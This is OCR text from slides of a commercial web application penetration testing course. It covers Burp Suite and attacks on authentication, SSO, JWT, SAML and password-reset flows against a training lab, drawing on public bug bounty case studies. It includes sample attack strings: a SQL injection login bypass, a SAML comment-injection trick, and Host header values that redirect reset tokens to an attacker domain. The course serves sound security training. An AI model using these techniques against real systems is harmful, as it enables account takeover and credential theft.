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Sanjay Gondaliya

9+ years of experience in Information Security

Consulting experience:
Large organizations across different sectors
network, system and application security

Specialize:
Mobile, Web App and Desktop App Security

GitHub Repositories Owner:
Blacklist3r

SerealizedPayloadGenerator
android_application_analyzer

Credits and Accolades:
LastPass, 1Password, Tesla, Intercom etc. for
finding bugs
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Virtual Training Platform

* Mdbook Portal

e KaliVM

* Student Pack Zip

* MS Teams — Setup

e Zoom - (Support team not respond to zoom chat query)
* Mdbook — Exercise walkthrough

* MS Teams — Poll

* Progress Portal

NotSoSecure part of

* Hourglass clabranet
cyber
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What you will learn

+
Q * How to identify and exploit advanced web
vulnerabillities (especially server-side flaws)

* Some neat and ridiculous web application
vulnerabilities found during our pentests
and in Bug Bounty programs



Targets for pwnage!

* http://topup.webhacklab.com * http://cms.webhacklab.com

* hittp://shop.webhacklab.com * http://admin.webhacklab.com

* http://mblog.webhacklab.com * http://slim.webhacklab.com

* http://misc.webhacklab.com * http://utility.webhacklab.com

* http://hc.webhacklab.com e http://cloud.webhacklab.com

* http://books.webhacklab.com * http://expense.webhacklab.com NotSoSecure part o

claranet
* http://cognito.webhacklab.com http://reimbursement.webhacklab.com Ogé'zﬁﬁty
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Lab setup

Kali VM

O Credentials : Username: root Password: toor

O All the tools/scripts are present in the directory /root/tools/

O Note: Use the provided kali VM during this course as it has custom
configurations

VPN
O Follow the instructions in the “OVA_Import VPN _Setup_Guide.pdf” in the
Student Pack to connect to the VPN. NotSoSecure pariof
claranet
O Once connected, open http://topup.webhacklab.com in browser gggﬁ:ity

© NotSoSecure 2021 Global
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http://topup.webhacklab.com

Account creation

* Create your accounts using the registration forms:
O http://topup.webhacklab.com/Account/Register
O http://shop.webhacklab.com/register.php

O http://mblog.webhacklab.com/register

* The exercises reflect the real-life environment. Some of the hacks will
result in high privilege access and dumping of entire database.
Do not use personal or corporate email ID to register.

* Note: The lab requires valid email accounts as there will be emails sent
to these accounts during testing.
_ _ _ _ claranet
Also, during the exercises wherever you see ‘X' it means your user id cyber
Nz security
(e.g. for user132, ‘X’ means 132).

NotSoSecure part of
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Throwaway email service

* Use throwaway email to create a temporary email:
O https://www.mailinator.com
O http://en.getairmail.com
O https://temp-mail.org/en

O https://getnada.com

NotSoSecure part of
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Delegate agreement

Any abuse of these privileges beyond the stated aims will result in
automatic disqualification from the course;

Denial of service by dropping tables/databases
Shutting down the system
Interfering with other delegates’ work.

Please use business language for any content posted on any test
application.

Please do NOT use your own Credit Card details for any exercise.

Use random number and they should work for the specific exercise.

Out of Scope: 192.168.4.0/24, 192.168.5.0/24 range
and OnelLogin domains.

https://t.mel/learningnets
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@ | Syllabus modules

Burp Suite Primer

. Attacking Authentication and SSO

Password Reset Attacks

Business Logic Flaws / Authorization Flaws

: XML External Entity (XXE) Attacks

Breaking Crypto
Remote Code Execution (RCE)

8: SQL Injection Masterclass

9: Tricky File Upload

10: Server Side Request Forgery (SSRF)
11: Attacking the Cloud

12: CMS Pentesting

13: Web Cache Attacks

14: Miscellaneous Topics
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Module:

Burp Suite

What is Burp Suite and why is it important for
penetration testing?

Burp Suite - Basic features such as Proxy,
Repeater, Intruder, Decoder, Comparer etc.

Burp Suite - Advance features such as

Extender, Scanner, Sequencer, Collaborator,
Infiltrator etc.

Extensions such as Logger++, SAML Editor,
Java Serial Killer etc.



Burp Suite - Introduction

* Web application penetration testing tool developed in JAVA

* Also known as “Interception Proxy” tool

* Developed by “PortSwigger Ltd.”

* Available as Enterprise, Professional and Community versions
* Various features

O Basic - Proxy, Intruder, Repeater, Decoder and Comparer

O Advance - Scanner, Sequencer, Collaborator and Infiltrator

* Burp Suite is available for Linux, Mac, Windows based OS

NotSoSecure part of

claranet
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Burp Proxy

Burp Proxy is an intercepting proxy tool that can work as man-in-the-
middle between your web browser and target’s web server.

Request Request
Response Response
Browser Proxy Server
Firefox, Chrome, Burp Proxy Tool Target Web NotSoSecure part of
Internet Explorer, Application

Safari etc. claranet
@ cyber
security
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Burp Proxy

* Configure your browser to work with Burp
O Setup proxy listeners

O Import/export CA certificate

* Intercept and modify HTTP/HTTPS requests and WebSocket traffic

* Rule based match and replace in request/responses

* Response Modifications - Enable hidden fields, remove JavaScript
validations, remove all JavaScripts etc.

NotSoSecure part of

claranet
/ cyber
security

© NotSoSecure 2021 Global
Services Ltd, all rights reserved

https://t.mel/learningnets



Burp Proxy — Configure your browser for Burp

1.
2.

Navigate to options tab in proxy
Make user you are listing on 127.0.0.1:8080
Open FireFox

Connection Settings

a) Navigate to:
Preferences > Network Proxy >
Check Manual Proxy Configuration

b) Add ‘HTTP Proxy as 127.0.0.1
and ‘Port’ 8080 Use system proxy settings

Configure Proxy Access to the Internet
No proxy

Auto-detect proxy settings for this network

® Manual proxy configuration
Cc) Check Use this proxy server HTTP Proxy | 127.0.0.1 Port 8080
fOI‘ a.” prOtOCO|S Use this proxy server for all protocols
SSL Proxy Port 0
FTP Proxy Port ]
SOCKS Host Port 0

SOCKS v4 '@ 50CKS v5

https://t.mel/learningnets




Install Burp Certificate

To capture HTTPS based request we require to install burp certificate
1. Open http://burp
2. Download CA certificate

3. Open firefox

a) Navigate to Preferences > Privacy and Security >
Certificates > View Certificate > Authorities

b) Import the burp certificate

NotSoSecure part of

claranet
/ cyber
security

All set to go....
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Key features of Burp

* Repeater * Scanner
* [ntruder * Collaborator
* Decoder * Extender

* Comparer

Burp Intruder Repeater Window Help

Comparer |  Extender | Project options | User options | Alerts T JSON Beautifier T JOSEPH T SAML Raider Certificates

Target | Proxy | Spider | Scanner | Intruder | Repeater | Sequencer | Decoder

Intercept ] HTTP history { WebSockets history ] Options ]

https://t.mel/learningnets




Burp Repeater

* Used for manipulating and reissuing individual requests and
analyze application’s responses

* Loads request from Burp’s any feature such as Proxy,
Intruder, Scanner etc.

* Burp Repeater Manages request history

* Provides options such as include automatic updation of the
Content-Length header, unpacking of compressed content
and the following of redirections

https://t.mel/learningnets
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Burp Decoder

Transforming data in one format to another - encode or decode

Smart decoding - Decoder will identify the encoding format and decode it

URL <IHello World@>

HTML <IHello World@>

Base64 <IHello World@>
ASCIlI Hex @ <!Hello World@>

Hex Hi, 1234567890
Octal Hi, 1234567890
Binary Hi, 1234567890
Gzip Hi, 1234567890

%3¢c%21%48%65%6c%6Cc%6f%20%57%6f%72%6Cc%64%
40%3e

EH#HX3C; &HX21; &HXA8: &H#XO5; &HXOC; &HXOC; &#XOT; &#xX20; &#HX
57:8#X6f &#XT 2 &H#X6C; &#X64: &#X40;&#x3e;

PCFIZWxsbyBXb3JsZEA+
3c2148656¢c6c6f20576f726c64403e

Hi, 499602d2

Hi, 11145401322

Hi, 1001001100101100000001011010010

<

https://t.mel/learningnets



Burp Decoder Improved - Extension

* Decoder Improved supports all of decoder's encoding,
decoding, and hashing modes. Decoder Improved can encode
and decode URL, HTML, Base64, ASCII Hex, GZIP, and zlib

Additionally, Decoder Improved can hash data using MD2,
MD5, SHA, SHA-224, SHA-256, SHA-384, and SHA-512.

NotSoSecure part of

E claranet
/ cyber
security

Reference : https://portswigger.net/bappstore/0a05afd37dad4adca5l4aceflcdde3b9
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Burp Collaborator

* A network service which helps to discover Blind vulnerabilities
such as SQL Injection, XML Injection, Cross-Site Scripting etc.

* Uses a specially crafted dedicated domain name and reports as
an issue such as External Service Interaction, SQL Injection etc.

Out of band
payloads

LY
\ 1}

Monitor & External
Control Interactions
HTTP NotSoSecure part of

o claranet

swp cyber_
BURPCOLLABORATOR security

Reference :

https://portswigger.net/burp/documentation/collaborator © NotSoSecure 2021 Global

Services Ltd, all rights reserved
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Burp Collaborator — Usage and Reports

* Usage: Example of specially crafted dedicated domain:
O {Random_subdomain}.burpcollaborator.net

— Detected in : Response/Content

* Reports:

O External Service Interaction

O Out-of-band resource load

o Blind SQL injection

HTTP

O Blind Cross-Site Scripting -

O XML Injection SMTP NotSoSecure part of
claranet

o Code Injection BURPCOLLABORATOR @cyber
security

O etc.

Reference :
https://portswigger.net/burp/documentation/collaborator © NotSoSecure 2021 Global

. Services Ltd, all rights reserved
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Burp Suite Recommended Tools

* AuthMatrix/AuthZ/Autorize - Authorization checks

* Backslash Powered Scanner - Advanced payloads while active scanner
* Collaborator Everywhere - OOB requests

* Hackvertor — Advanced Encoder/Decoder

* Java Serial Killer - payload generation tool for Java object deserialization
* Handy Collaborator - OOB requests while manual test using Repeater

* HUNT Suite - Identify common parameters for known vulnerabilities

* J2EEScan - Scanner for Java based application

* Logger++ - Keeps logs of everything

* Protobuf Decoder - Protobuf protocol

NotSoSecure part of

* Retire.js - Check for outdated software pR——
* SAML Editor/SAML Encoder-Decoder/SAML Raider - SAML requests O cyber_t
* WSDLER/WSDL Wizard - Web service automation Sy

© NotSoSecure 2021 Global
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Really ?

IILEARNED BURP SUITESO... |
GUESS,YOU CAN SAY

NotSoSecure part of
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Attacking
Authentication
and SSO

) Logical Bypass and Boundary Conditions
M Bypassing 2 Factor Authentication

Authentication Bypass using Subdomain
Takeover

JWT Brute Force Attack
M SAML Authorization Bypass

And relevant case studies



Authentication

* Authentication is the process of confirming a user's identity.

* Interms of web applications it is usually implemented through
user credentials and/or a secret pin.

@ & https://accounts.google.com e &) @ & https://accounts.google.com
i

Google Google
Welcome 2-Step Verification
e sudhanshu@notsosecure.com V. This extra step shows it's really you trying to sign in
©  sudhanshu@notsosecure.com v

2-Step Verification

A text message with a 6-digit verification code was just
SENt 1o seeses 2ee’ 29

Forgot password? m

G- Enter the code NOtsosecure part of

Remember this computer for 30 days w CIabra net
= cyber.
security

English (United States) ~ Help Privacy Terms Didn't get the code? RESEND IT

© NotSoSecure 2021 Global
Services Ltd, all rights reserved
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Basic Authentication Bypass

* Brute Force/Dictionary Attack:
Using a combination of known/guessed usernames and
commonly used passwords an attacker can automate login
attempts until successful

* SQL Injection:
Injecting a SQL based query suchas'OR 1=1 --to bypass
authentication

* Weak/Predictable Session ID:
If the session IDs are predictable, an attacker might be able to
generate valid IDs for other users NotSoSecure part of

claranet
/ cyber
security
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Login scenario

* Application authenticates users by asking random characters of
their password

* Observation: The location values are being validated based
upon the request sent from the client-side

O 192.168.0.103/smartlogin.html

(SN GE (O 192.168.0.103/smartlogin.html
[

Smart Login

Enter yout username:

NotSoSecure part of

: claranet
Enter the following characters of your password: cyber

3rd 5th 8th secu r|ty

Submit
© NotSoSecure 2021 Global
Services Ltd, all rights reserved
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Attack scenario

e Attacker tampers the login request for another user and sets the
value of the location variables to same number
(e.g. 3rd, 3rd and 3rd character of password)
and iterates through all characters

“a-z,A-Z,0-9,~1@#$%"&*()_+-=[I\{}|;:",./[<>7?"
as the password character

* This allows the attacker to login just by knowing a single
character and its location in the user’s password

NotSoSecure part of

claranet
/ cyber
security
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Boundary Condition

« Bypass the login security feature to login
as user bcuserXx@webhacklab.com:

Challenge URL.:
http://shop.webhacklab.com/login.php

* Note:
There is an account lockout in place.
(Harder to bruteforce &)

Exercise

https://t.mel/learningnets



Case Study

Bypassing 2 Factor Authentication

« Facebook Password recovery URL

o https://www.facebook.com/login/identify?ctx=recover&lw
v=110& mref=message

o OTP of 6 characters will be sent to users
o Bruteforce was not possible to www.facebook.com

o However, beta.facebook.com and
mbasic.beta.facebook.com allowed to bruteforce!

895 154894 200 a (@] 42782
896 154895 200 8 g 42742
897 154896 200 o O | 42742
898 154897 200 )| )| 42820
154898 302 @ 11237

l Request I Respogse ]
I Raw I Params rHeaders
OST /recover/as/code/ HTTP/1.1

jHost: beta.facebook.com
jJUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS5 X 10.10; xv:37.0) Gecko/2010014l Firefox/37.
IAccept: text/html,application/xhtml4xml,application/xml;g=0.9,*/*;g=0.8
jAccept-Language: en-US,en;qg=0.5

JAccept-Encoding: gzip, deflate

JReferer: https://beta.facebook.com/recover/as/code/

fcookie: datr=620nvqOhwbhNjySHXf£807QQ; fr=0v3212Qg2fhICEDNv.AWUDC IDLAYXnUBRGC-IJoQrCeho.BHI2Y
x-referer=%2Fsettingsi2Fsecurity®2Fi3Fdev
jreg fb ref=httpsi3AL2F32Fwww. facebook.c
jo9ecHLhFFBzi-1t;

jreg_fb gate=httpzi3AR2F%2Fwww. facebook.comi2Fi3Fatypet3D1lot26jloui3DAffyCPonEzed3ggrfTyoU4074
JAc9eoHLhFF82i-1¢;
5 £fiu=AYiGPvOehlBM6is 1m3C3HIVAZShOmuo_503CG2pTmeXohodQKrP-YNQovbX4NBjIbH6RStutenfgYT2pKebSN jka
CiKVa7NUOJECT7ByIogRNm; wd=1440x734

jCconnection: close

jIContent-Type: application/x-www-form-urlencoded
IContent-Length: 21

lad=AVrvDZBegn=154898

based_login¥26refid¥3D72%23%2Fsettngss2Fsecuriy
¥3Fstypet3010%263jlout 3DAfEyGPonEzegfqarfTy9UL07d ]

Reference:

https://t_me/|erﬁmwpgmre.security/blog/we-figured—out-a—way—to—hack-any—of—facebook—s—2—biIIion—
accounts-and-they-paid-us-a-15-000-bounty-for-it



Auth Bypass via Subdomain Takeover

« Subdomain takeover

o 3rd Party Services (Github/Zendesk/S3/cloudfront etc)
are generally integrated with organization by means of
redirected subdomains

O For this a CNAME entry is created pointing to 3rd party
domain usually a CDN subdomain

o If such a sub-domain is not claimed / expired /

CaS O St u d y cancelled an attacker can claim it

abc.example.com SNAME ynclaimedsubd.cloudfront.com

Reference:
https://hackerone.com/reports/172137

https://t.mel/learningnets



Auth Bypass via Subdomain Takeover

Authentication Bypass on sso.ubnt.com via
Subdomain Takeover of ping.ubnt.com

* A subdomain (ping.ubnt.com) is pointing to the
CDN hostname (d2cnv2pop2xy4v.cloudfront.net.)
but has not been claimed yet.

* The Single-Sign-On (SSO) functionality sets the
cookie domain attribute as "domain=.ubnt.com".
Case Study

Reference:
https://hackerone.com/reports/172137

https://t.mel/learningnets



Attack scenario

* The attacker claims the CDN hostname
d2cnv2Z2pop2xy4v.cloudfront.net. and hosts own application

* Alogged in user (*.ubnt.com) visits the subdomain ping.ubnt.com
(unknowingly or lured by attacker) and the session cookies are
transferred to and logged by d2cnv2pop2xy4v.cloudfront.net.
(owned by attacker).

* The attacker uses the session cookies to authenticate as victim user

NotSoSecure part of

claranet
/ cyber
security
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Token Hijacking Attack

Tokens are used by applications to maintain users’ sessions.
Attack Scenario:

* The application allows users to link self-hosted images in profile
and the session token is being sent in URL

* The attacker links an image in his account which is hosted on a
self-owned system

* When other users open the page to view this photo, a request is
made to the attacker owned system, with session token in URL

* The attacker logs these tokens and uses them to access accounts
of other users

https://t.mel/learningnets

NotSoSecure part of
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Token Hijacking Attack

Attacker hosts an
image on own server
User session token in URL is H
transmitted to the attacker server
[ 192.168.0.103/socialjprofilevpdate. X =+ / N 1

Cc.)vur image url U Se r Vi S its
Attacker links the Lt s attacker's profile

image in public profile o _ NotSoSecure part of

claranet
/ cyber
security
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Modern Authentication and Authorization Methods

There are multiple authentication/authorization mechanisms which provide
Single-Sign-On (SSO) and similar features for sharing access with multiple
applications

e JSON Web Tokens (JWT):RFC7519:
A compact mechanism used for transferring claims between two parties

* Security Assertion Markup Language (SAML):RFC7522:
An XML based single sign-on login standard

e OAuth:RFC6749:

Access delegation framework, usually used for providing application NotSoSecure part of
access to other applications without password sharing. OAuth 2.0 is not clabranet
an authentication protocol security

© NotSoSecure 2021 Global
Services Ltd, all rights reserved
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JWT Basics

e JSON Web Token (JWT) are generally represented as JSON objects
and can be signed to protect the integrity of the underlying message
using a Message Authentication Code (MAC) and/or encrypted

* A JWT consists of three parts; an encoded Header, an encoded
Payload and the Signature

Encoded
PAYLOAD
Claims: Reserved
Public
Private

Encoded
HEADER

typ
alg

NotSoSecure part of
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JWT Issues

* Weak secret key

* Integrity of the token has already been verified (None algorithm)
* Improper token storage (HTMLS5 storage/cookie)

* Faulty token expiry

* Sensitive data stored in the payload

NotSoSecure part of
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Attack scenario

- - Encoded PASTE A TOKEN HERE Decoded EDIT THE PAYLOAD AND SECRET (ONLY HS256 SUPPORTED
* The signature contains a
: eyJBeXAi01JKV1QiLCJIhbGCi01JIUZITNIIG ey 1

Secret key WhICh Can be bmlxdWVfbmFtZSI6InN1bmlseSIsInVzZXJfaWQi0 L.
iTxNjUBTiwidXN1c19zZWNyZXQi0iIxNjUBTiwidX B

brute forced N1c191bWFpbCI6InN1bm1sQG5vdHNvC2YjdXJ1LmN }
vbSIsInJvbGUi0iJTaXR1IFZpc218b3TilCJ1eHAL

PAYLOAD: DATA

0jE@BNFE3NjM3MzMsIm5iZiI6MTQ2MTc2MTkzM30. s
COgVx__fVSTONAHWNVLGhiWAnelL T3VESBM_9JdzTK-

* Ifaweakkey is used, the * e
attacker can use a script to ;T
brute-force and identify this
secret key quickly and use it
to generate further valid
tokens for other high

privilege users (e.g. admin)

NotSoSecure part of
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JWT Brute Force Attack

« Login to the “topup” application using your
registered account to generate the access token

« Brute-force the secret key for the JWT

« Generate a valid token for user
“iwtuserX@webhacklab.com” and access all the

ExerC | Se order detalls

Challenge URL.:
http:/topup.webhacklab.com/Account/Login

https://t.mel/learningnets



Security Assertion Markup Language (SAML)

* |In SAML based authentication the user provides credentials at a
login interface, based on which the identity provider provides (IDP) a
SAML response containing assertions with NamelD attributes
containing user information and signed message in XML

* The XML document (base64 encoded) is further passed on to the
service the user needs to access. The service provider (SP)
validates the provided XML and allows access to user based on the

validity

NotSoSecure part of
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SAML Workflow

Service Provider User Agent Identity Provider
1 Request target resource
R (Discover the 1dP)
2 Redirect to SSO Service
3 Request SSO Service
Identify the user
PN (Identif, y the user) ) R
4 Respond with XHTML form
5 Request Assertion Consumer Service
Redirect to target resource l
6 NotSoSecure part of
. Request target resource claranet
! cyber
8 Respond with requested resource secu rity
v L 4

© NotSoSecure 2021 Global
Services Ltd, all rights reserved

Reference:

https:H&Bgmwﬁéﬂéarwwﬁ(aﬁn/0/04/SamI2-browser-sso-redirect-post.png




SAML Response

<samlp:Response Destination="http://topup.webhacklab.com/"
ID="Rcee5defe55ac8cld1lf41966ddldedd1fdaa26bbl™
InResponseTo="_4c%e3718-7cBe-4ce7-bbo8-196203246482"
Issuelnstant="2018-04-12T@6:31:16Z" Version="2.0"
xmlns:saml="urn:oasis:names:tc:SAML:2.8:assertion” xmlns:samlp="urn:oasis:names:tc:SAML:2.8:protocol">
<saml:Issuer>https://app.onelogin.com/saml/metadata/771448</saml:Issuer>
<samlp:Status>
<samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
</samlp:Status>
<saml:Assertion ID="pfx6627ea50-5e65-f823-d424-5e5a7b@5b823"
IssueInstant="2018-04-12T06:31:16Z" Version="2.@"
xmlns:saml="urn:oasis:names:tc:SAML:2.0@:assertion"
xmlns:xs="http://www.w3.0rg/2001/XMLSchema"” xmlns:xsi="http://www.w3.0org/2001/XMLSchema-instance">
<saml:Issuer>https://app.onelogin.com/saml/metadata/771448</saml:Issuer>
kds:Signature...>...</ds:Signature>]
<saml:Subject>
<saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress">sunil@notsosecure.com</saml:NameID>
<saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.@:cm:bearer">
<saml:SubjectConfirmationData
InResponseTo="_4c9e3718-7cBe-4ce7-bbo8-196203246482"
NotOnOrAfter="2018-04-12T06:34:16Z" Recipient="http://topup.webhacklab.com/"/>
</saml:SubjectConfirmation> S ———
</saml:Subject> claranet
<saml:Conditions NotBefore="2018-04-12T706:2" NotOnOrAfter="2018-084-12T06:3">...</saml:Conditions>] Cyber
<saml:AuthnStatement AuthnInstant="2018-84-12T@6:3" SessionIndex="_05d5ed40-2049-" SessionNotOnOrAfter="2018-84-13T06 5;(3(:l]rit)’
</saml:Assertion>
</samlp:Response>

NotSoSecure part of

© NotSoSecure 2021 Global
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SAML Authorization Bypass: Scenario 1

* A user can tamper the SAML response further send to the service
provider (step 5 in SAML Workflow) and replace the values of the
assertions released by IDP such as username/email

* A weak SAML implementation would not verify the signature and
thus allow an attacker to access the account of another user

NotSoSecure part of
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SAML Authorization Bypass: Scenario 2

SAML authorization bypass by exploiting cryptographic signing and XML
parsing issue:

* Service Provider validates the SAML response (XML Signature) to
identify the user

* Canonicalization engine ignores comments and whitespaces while
creating a signature

* The XML parser returns the last child node

https://t.mel/learningnets
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XML Canonicalization

* An XML canonicalization transform is employed while signing the
XML document to produce the identical signature for logically or
semantically similar documents.

<saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress">
notsosecure <!-- this is a comment -->user@webhacklab.com
</saml:NameID>

<saml:NameID Format="urn:oasis:names:tc:SAML:1.1l:nameid-format:emailAddress">
notsosecureuser@webhacklab.com
</saml:NameID>

Reference:
https://developer.okta.com/blog/2018/02/27/a-breakdown-of-the-new-saml-authentication-bypass-vulnerability#cryptographic-signing-issues

https://t.mel/learningnets



XML Parsing

XML parsing issues

<saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress">
notsosecure <!-- this is a comment -->user@webhacklab.com
</saml:NameID>

An XML parser might parse it into three components:
* text: notsosecure
e comment: <!-- this is a comment -->

* text: user@webhacklab.com

NotSoSecure part of

This might allow you to access the account of the user ‘user@webhacklab.com’, O claranet

cyber

instead of the user ‘notsosecureuser@webhacklab.com’ if the XML parser security

returns the last child node

© NotSoSecure 2021 Global
Services Ltd, all rights reserved

https://t.mel/learningnets




SAML Authorization Bypass

« Login as user “not-a-john@webhacklab.com”.
 Decode the SAML data into XML format.

* Exploit SAML XML to login as user
‘jiohn@webhacklab.com”.

Challenge URL.:
http:/topup.webhacklab.com/saml/SAML.aspx

Demo

Note: Do not perform any testing on one login
domains, as that is out of scope.

https://t.mel/learningnets



Case Study

Bypassing 2FA by OAuth Misconfiguration

« Application supports login with password and OTP

« OTP is an AMR(Authentication Method Reference)
value

« Multiple AMR values are available

« Each ‘AMR’ value provides an identifier for a family
of related authentication methods

« Application only focuses on whether OTP is
entered and does not check AMR type

« ‘SMS’ AMR is similar to ‘OTP’ AMR

« Researcher changes the AMR to ‘'sms’ instead of
‘otp

« Application asks for a new mobile number

« OTP sent on new number

e Successful bypass

Reference:
https:/lt.mellearning nets https://lyoust.in/posts/bypassing-2fa-using-openid-misconfiguration/
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Password Reset Attacks

Password Reset or Forgot Password are application functionalities
which allow users to retrieve/reset the password of their account in case
they have forgotten their password or believe that their password has
been compromised.

Applications implement different mechanisms for this purpose such as:
* Send password reset link

* Send new password in email

* Allow user to reset password after providing OTP or answering
secret question(s)

https://t.mel/learningnets
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Password Recovery Logic

Forgot Password

rﬂ

Password reset link sent to email ID Answer security question

claranet
w cyber
security

Password reset surcessful .
rningnets




Cookie Swap

Password reset functionality which ask the user to provide answer(s) to
security question(s) usually work based upon the ‘sessionid’ cookie.

This cookie is used to manage the complete password reset session
for the user. Three steps of the process are:

* User provides the email address and a session cookie
IS set by the server

* The user is then presented with secret questions

* If correct answers are provided for the secret questions,
user can set new password

https://t.mel/learningnets
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Cookie Swap by Answering Secret Question

192.168.0.103/forgotpass/forgotl.l X ~(

() 192.168.0.103/forgotpass/forgot1.htmi|

Set new password

Forgot Password ' 192.168.0.103 forgotpess/forgot3

O 192.168.0.103/forgotpass/forgot3.html

Username

Reset Password

Submit

Enter Username to reset password Password

Enter username Repeat Password

Submit

Enter new password

192168 0.0 forgotpesiieuccen: . X +’

£ 192,168.0103 ooty

Password Successfully changed for the

@ 192.168.0.103/forgotpass/forgot2.htm R~ user

NotSoSecure part of

claranet
cyber
security

Secret Questions

Question 1: Place of Birth

Question 2: Mother’'s Maiden Name

Question 3: First Pet

New password set

Subemit

Enter answers to secret questions to reset password

© NotSoSecure 2021 Global
An swer Secret ues i S . Services Ltd, all rights reserved
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Attack Scenario

In cases where the session cookie setup and validation is not managed
appropriately, a user can reset the password of another user

To perform this attack, the malicious user will go through following
steps:

* Initiate a password reset request for own account by providing the
username

* Answer the secret guestions for own account and reach the
password reset page

https://t.mel/learningnets
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Attack Scenario

In another browser instance initiating password reset for another
user and making a note of the sessionid set for this password reset
session

Moving back to the previous instance (setting new password for
own account) and swapping own sessionid with the sessionid of
another user (noted in previous step)

The password is now set for another user and the attacker can login
Into that account

https://t.mel/learningnets
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Cookie Swap lllustration

192.168.0.103/forgotpass/forgotd | X £

192.168.0.103/forgotpass/forgot1. 1 X -( 192.168.0.103 forgotpassrtorgotz +. X |

() 192.168.0.103/forgotpass/forgot2. himl

() 192.168.0.103/forgotpass/forgot1.htmi|

Forgot Password »

Username Question 2: Mother’s Maiden Name

O 192.168.0.103/forgotpass/forgot3. html

Secret Questions Reset Password

Question 1: Place of Birth

Password

Repeat Password

Submit Question 3: First Pet

Submit

5 Subemit
Enter Username to reset password Enter new password

Enter answers to secret questions to reset password

Own account password reset Answer Secret Questions

Switch cookie
with the one

Capture session cookie captured in Step 4

Victim account password reset

J'r;Imm;m :

— PR /1.0 01 Toved Permasently
() 192.168.0.103/forgotpass/forgot1.htmi| Date: The. OF Feb 2019 15:12:%4 ot

Forgot Password » -

Coet

192.168.0.103/forgotpass/forgot1.} > ‘{

S -

son: Leep-alive

ATE

setrols as-store, nd-cerhe

<Aype: text Mal

Costect-lasgsnge: oo

L-Traae-0ptione: SAMRORICIN
Srrict-Trangansd ARl Ak aanr Lo R
Eet-Cochie g BaleféinldTog "mans lasknlsastiiTe vt ) aspivesnfsy, /
Ph-Feb-200F 151300 i visnvelaite.com L
Location: Metpei/ 'vww . valowebsite. oo forgetl.deal

Costest Lasgth: 1§ \

Password Successfully changed for the
user

Username

Submit

Enter Username to reset password

https://t.mel/learningnets



Cookie Swap

« Change password of the user
“csuserX@webhacklab.com” through forgot
password functionality:

Challenge URL.:
http:/topup.webhacklab.com/Account/Forgot
Password

Exercise

https://t.mel/learningnets



Token abuse

Assessing The Forget Password Functionality

- Attack Scenarios:

« Check if the token is predictable (cryptographically insecure)
* Check if the token is one time use only

A few more tests (is it over SSL or HTTP etc)

* Check that you cannot use the token of one user to reset the
password of another user. You may try to generate a link:

CaS e St u d y Password reset tokens:

» http://host/resetpass.php?email=userl@notsosecure.com
&token=caealf6lee90al35d1bbla0ddc37b115

» http://host/resetpass.php?email=user2@notsosecure.com
&token=caealf6lee90al35d1bbla0ddc37b115 (It only
worked, if user2 has initiated password reset request)

Reference:
https://t.mellearningnets https://www.notsosecure.com/penetration-testing-the-art-or-the-science/



Other Common Password Reset Falils

There are multiple other scenarios where password reset functionality
can be abused by an attacker:

* The password reset token does not expire after single usage. On a
shared machine a user can go through the browser history and
misuse the password reset link of other user(s)

* Logical DoS: Lock out other users by sending password reset
requests for their account

* Predictable token or no-rate limiting allowing token brute-force

https://t.mel/learningnets
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Abusing HTTP Host Header

HTTP Host header is used occasionally by application to create URLS.
Abuse Scenarios:

* Password reset links if generated using Host header can result in
token leakage to third party

* If an intermediate proxy is caching server responses it can be
poisoned in similar manner

NotSoSecure part of
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Host Header Validation

To prevent this, applications implement host header validation. In
situation where this validation is not done with caution, it can still be
abused to perform the same attack, through following steps:

* Attacker initiates a password reset request for another user and
tampers the Host header ‘example.com’ to ‘attackerdomain.com

J

* This fails as the application is validating the domain name

https://t.mel/learningnets
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Host Header Validation Bypass

* The attacker further tampers the request with the Host header value
‘attackerdomain.com/example.com’, this succeeds and sends an
email to the victim user with the link:

‘http://attackerdomain.com/example.com/passwordresettoken=abcl
234329inbhuijnhbgvbhn’

* Once the user opens this link, the attacker can log the
‘passwordresettoken’ and reset the password of the user

https://t.mel/learningnets
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Host Header Validation Bypass

Host: example.com

POST /passwordreset.php BTTP/l.1

Bost: example.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: */*

A t-L : en-05,en;g=0.5 . .
Acoept-Encoding: gaip, defiate https://example.com/uid
Ref : https:// le. /

Csozri:f IDE=§;WqTE:T?SY:Ug;ngTQDeXOeDU_erkDRthAj2—KyfchetSleeOW6V24p :abcxy2123@|98765A

Connection: c¢lose
Content-Length: 19

username=victimuser

Host: attackerdomain.com

POST /passwordreset.php BTTE/1l.1

Host: attackerdomain.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: */%

Accept-Language: en-05,en;q=0.5

Accept-Encoding: gzip, deflate - -
Refeger: https?//gxaﬁple.com/ NO emall ||nk
Cookie: IDE=AHWYTUn-5HYR08TOJjTQDeX0eDU_QurkDRtJghj2-KyfcjhetSYvieOWeV24p
Connection: close

Content-Length: 19 i —

username=victimuser

Host: attackerdomain.com/example.com

NotSoSecure part of

POST /passwordreset.php BTTP/1.1

Host: attackerdomain.com/example.com

User-BAgent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0 Claranet
Accept: */*

Accept-Language: en-0S,en;g=0.5 . H yb
Accept-Encoding: gzip, deflate httDS//example.COm/lJld c er

Ref : https:// le. / —_ .t
Cookie: IDE=ZPL;E-IQTE:??3Y:Ugggl.]'jTQDe)‘.OeDU_erkDRthAj2—Kyfcj.’—;et$3'vle0W6'v‘24p —abcxy2123@'98765A securl y

Connection: close
Content-Length: 19

© NotSoSecure 2021 Global

username=victimuser

Services Ltd, all rights reserved
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https://example.com/uid
https://example.com/uid

Exercise

Host Header Validation Bypass

« Bypass host header validation to perform
header poisoning for your account

« Capture the password reset token

« Change the password of the account using the
captured token:

Challenge URL.:
http://topup.webhacklab.com/Account/
ForgotPassword

 Note: Use an account with valid email address
to receive the reset link.
Use attacker.com as attacker owned domain
to receive the token

https://t.mel/learningnets
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Business Logic Flaws

Modern applications have complex process flows to perform various
functions such as buying products, making a financial transaction
etc.

A business logic issue occurs when a legitimate flow of functionality
IS manipulated or misused in a way which could lead to an adverse
effect on the business function

